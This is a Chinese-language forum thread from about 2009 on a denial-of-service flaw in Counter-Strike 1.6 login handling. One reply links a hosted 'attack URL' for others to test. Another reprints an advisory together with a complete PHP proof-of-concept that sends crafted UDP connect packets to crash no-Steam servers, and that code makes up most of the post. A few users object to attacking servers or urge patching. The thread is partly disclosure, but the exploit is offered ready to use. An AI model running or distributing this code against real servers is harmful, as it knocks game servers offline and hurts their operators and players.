CS服务器爆重大漏洞

oicqfans

真的假的啊，最讨厌2类人，作弊的，和攻击CS的，

rofation

hhhhddddddddddddddddddddddd

yaoruiling

???????????????

0xtt7

囧。。。。。。。。。。。。。。。。。。。。。。。。。。。。

cityhonghu

攻击网址：http://www.miat.com/test/cs.php
供大家测试使用
popbily 发表于 2009-1-26 21:47

测试一下。
Auth Type 2 和 pass里要填什么？

小白

这个贴子有深度，看了好久才看完，大家各舒己见，为了CS迷，为了CS的明天，奉劝大家做人要厚道！不要随便攻击别人的CS服务器

szxms

Half-Life Counter-Strike登录拒绝服务漏洞
也就是我们通常说的炸F
漏洞消息时间:2008-01-07

漏洞起因
异常条件处理失败错误

影响系统
Valve Software Half-Life Counter-Strike 1.6

不受影响系统

危害
远程攻击者可以利用漏洞对应用程序进行拒绝服务攻击。

攻击所需条件
攻击者必须访问Half-Life Counter-Strike。

漏洞信息
Half-Life Counter-Strike是一款流行的即时射击游戏。
Half-Life Counter-Strike不正确处理登录请求，远程攻击者可以利用漏洞对应用程序进行拒绝服务攻击。
提交恶意登录请求可触发此漏洞。

测试方法
----[  Counter Strike 1.6 Denial Of Service POC ... ITDefence.ru Antichat.ru ]

Counter Strike 1.6 Denial Of Service POC
Eugene Minaev underwater@itdefence.ru
Bug was found by Maxim Suhanov ( THE FUF )
works only with no-steam servers
___________________________________________________________________
____/  __ __ _______________________ _______  _______________    \  \    / .\  /  /_// //              /        \       \/      __       \   /__/   /
/ /     /_//              /\        /       /      /         /     /___/
\/        /              / /       /       /\     /         /         /
/        /               \/       /       / /    /         /__       // \       /    ____________/       /        \/    __________// /__    // /   
/\\      \_______/        \________________/____/  2007    /_//_/   // // \ \\                                                               // // /
.\ \\        -[     ITDEFENCE.ru Security advisory     ]-         // // / .
. \_\\________[________________________________________]_________//_//_/ . ./*

CS-dos exploit made by underwater

Bug was discovered by .FUF  

Big respect 2 Sax-mmS ( for html ) , Focs ( for his cs server ) , SkvoznoY , Bug(O)R,Antichat.ru and Cup.su

*/



ini_set("display_errors","0");



function HELLO_PACKET()

{

$packet = pack("H*","FFFFFFFF");

$packet .= "TSource Engine Query";

$packet .= pack("H*","00");

return $packet;

}



function CHALLENGE_PACKET()

{

$packet = pack("H*","FFFFFFFF");

$packet .= "getchallenge valve";

$packet .= pack("H*","00");

return $packet;

}



function LOGIN_PACKET_4()

{

global $cookie;

global $password;

$packet = pack("H*","FFFFFFFF");

$packet .= "connect 47 ";

$packet .= $cookie.' "';

$packet .= '\prot\4\unique\-1\raw\valve\cdkey\d506d189cf551620a70277a3d2c55bb2" "';

$packet .= '\_cl_autowepswitch\1\bottomcolor\6\cl_dlmax\128\cl_lc\1\cl_lw\1\cl_updaterate\30\mod';

$packet .= 'el\gordon\name\Born to be pig (..)\topcolor\30\_vgui_menus\1\_ah\1\rate\3500\*fid\0\pass';

$packet .= 'word\\'.$password;

$packet .= pack("H*","220A0000EE02");

return $packet;

}



function LOGIN_PACKET_2()

{

global $cookie;

global $password;

$packet = pack("H*","FFFFFFFF");

$packet .= "connect 47 ";

$packet .= $cookie.' "';

$packet .= '\prot\2\raw\d506d189cf551620a70277a3d2c55bb2" "\_cl_autowepswitch\1\bott';

$packet .= 'omcolor\6\cl_dlmax\128\cl_lc\1\cl_lw\1\cl_updaterate\30\model\gordon\nam';

$packet .= 'e\Born to be pig (..)\topcolor\30\_vgui_menus\1\_ah\1\rate\3500\*fid\0\pass';

$packet .= 'word\\'.$password;

$packet .= pack("H*","22");

return $packet;

}



function dowork($host,$port,$password,$auth)

{

global $password;

global $cookie;

# connecting to target host

$fsock = fsockopen("udp://".$host,(int) $port,$errnum,$errstr,2);

if (!$fsock) die ($errstr);

else

{

# sending hello packet

fwrite ($fsock,HELLO_PACKET());

fread ($fsock,100);

# sending chalennge packet

fwrite ($fsock,CHALLENGE_PACKET());

# recieving cookies

$resp = fread($fsock,100);

# grab cookies from packet

$cookie = substr($resp,strpos($resp,"A00000000")+10);

$cookie = substr($cookie,0,strpos($cookie," "));

# sending login packet

if (!$auth) fwrite ( $fsock,LOGIN_PACKET_4());else fwrite ( $fsock,LOGIN_PACKET_2());

$resp = fread($fsock,100);

}

}



IF (isset($_POST['host']) && isset($_POST['port']))

{

IF (empty($_POST['pass'])) $password = "123";

else $password = $_POST['pass'];

$fserver = $_POST['host'];

$fport = $_POST['port'];

if (isset($_POST['auth'])) $fauth = true;else $fauth=false;

# we have to connect 2 times

$result = dowork($fserver,$fport,$password,$fauth);

$result = dowork($fserver,$fport,$password,$fauth);

# parsing result

echo "Exploit Sent";

}
复制代码----[ FROM RUSSIA WITH LOVE :: underWHAT?! , gemaglabin ]

厂商解决方案
目前没有解决方案提供：
http://www.valvesoftware.com/games.html

漏洞提供者
Maxim Suhanov

漏洞消息链接
http://www.securityfocus.com/bid/27159

漏洞消息标题
Half-Life Counter-Strike Login Denial of Service Vulnerability

gearfox

你哪个页面  1年前就见过了 但是没测试

94132580

确实会被炸到死机。一定要打补丁

jake2003a

kankan what's a program!